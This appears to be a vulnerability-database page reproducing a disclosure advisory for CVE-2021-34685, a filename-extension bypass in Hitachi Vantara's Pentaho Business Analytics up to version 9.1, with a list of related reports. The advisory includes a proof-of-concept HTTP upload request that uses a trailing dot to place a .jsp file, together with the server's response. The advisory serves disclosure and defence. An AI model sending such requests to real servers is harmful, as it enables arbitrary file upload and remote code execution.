| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| Pentaho Business Analytics / Pentaho Business Server 9.1 Filename Bypass Vulnerability | 7 Nov 202100:00 | – | zdt | |
| CVE-2021-34685 | 8 Nov 202107:28 | – | circl | |
| Hitachi Vantara Pentaho和Hitachi Vantara Pentaho Business Analytics 代码问题漏洞 | 5 Nov 202100:00 | – | cnnvd | |
| CVE-2021-34685 | 8 Nov 202103:37 | – | cve | |
| CVE-2021-34685 | 8 Nov 202103:37 | – | cvelist | |
| EUVD-2021-21335 | 7 Oct 202500:30 | – | euvd | |
| CVE-2021-34685 | 8 Nov 202104:15 | – | nvd | |
| Remote code execution | 8 Nov 202104:15 | – | prion | |
| CVE-2021-34685 | 22 May 202521:34 | – | redhatcve | |
| Critical Flaws Uncovered in Pentaho Business Analytics Software | 1 Nov 202112:08 | – | thn |
`Product: Pentaho Business Analytics / Pentaho Business Server
Vendor / Manufacturer: Hitachi Vantara
Affected Version(s): <= 9.1
Vulnerability Type: Bypass of Filename Extension Restrictions
Solution Status: Fix Released on public GitHub repository
Manufacturer Notification: June 2021
Public Disclosure: 01 November 2021
CVE Reference: CVE-2021-34685
Author(s) of Advisory: Alberto Favero ( HawSec ) & Altion Malka
--- ### --- ### ---
Product Description:
Pentaho is business intelligence (BI) software that provides data
integration, OLAP services, reporting, information dashboards, data mining
and extract, transform, load (ETL) capabilities. Its headquarters are in
Orlando, Florida. Pentaho was acquired by Hitachi Data Systems in 2015 and
in 2017 became part of Hitachi Vantara.
( Source: https://en.wikipedia.org/wiki/Pentaho )
--- ### --- ### ---
Vulnerability Details:
Pentaho allows users to upload various files of different file types. The
upload service is implemented under the "/pentaho/UploadService" endpoint.
The file types allowed by the application are “csv, dat, txt, tar, zip,
tgz, gz, gzip”. When uploading a file with an extension other than the
allowed file types, the application responds with the error message of
"UploadFileServlet.ERROR_0011 - File type not allowed. Allowable types are
csv,dat,txt,tar,zip,tgz,gz,gzip". However, the file extension check can be
bypassed by including a single dot "." at the end of the filename.
--- ### --- ### ---
Proof of Concept (PoC):
See Ginger ( https://github.com/HawSec/ginger )
or
--- ~~~ --- ~~~ ---
POST
/pentaho/UploadService?file_name=test_file.jsp.&mark_temporary=false&unzip=false
HTTP/1.1
Host: localhost:8080
Content-Length: 194
Cookie: session-flushed=true; JSESSIONID=A0D2E6A3857C5B7EEF763821513174E9;
client-time-offset=32; JSESSIONID=2D525AE6A712A91E6CA1CBE50177559C;
session-expiry=1617569433767; server-time=1617562233767
Connection: close
------WebKitFormBoundary1k7sJ9yjEbfj39Fl
Content-Disposition: form-data; name="uploadFormElement";
filename="test_file.txt"
Content-Type: text/plain
[...]
FILE_CONTENTS
[...]
------WebKitFormBoundary1k7sJ9yjEbfj39Fl--
HTTP/1.1 200
Set-Cookie: session-expiry=1617572215172; Path=/
Set-Cookie: server-time=1617565015172; Path=/
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 6
Date: Sun, 04 Apr 2021 19:36:55 GMT
Connection: close
test_file.jsp.
--- ~~~ --- ~~~ ---
--- ### --- ### ---
Credits:
This vulnerability was discovered by Alberto Favero & Altion Malka
--- ### --- ### ---
--
BlackHawk - [email protected]
Experientia senum, agilitas iuvenum.
Adversa fortiter. Dubia prudenter.
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation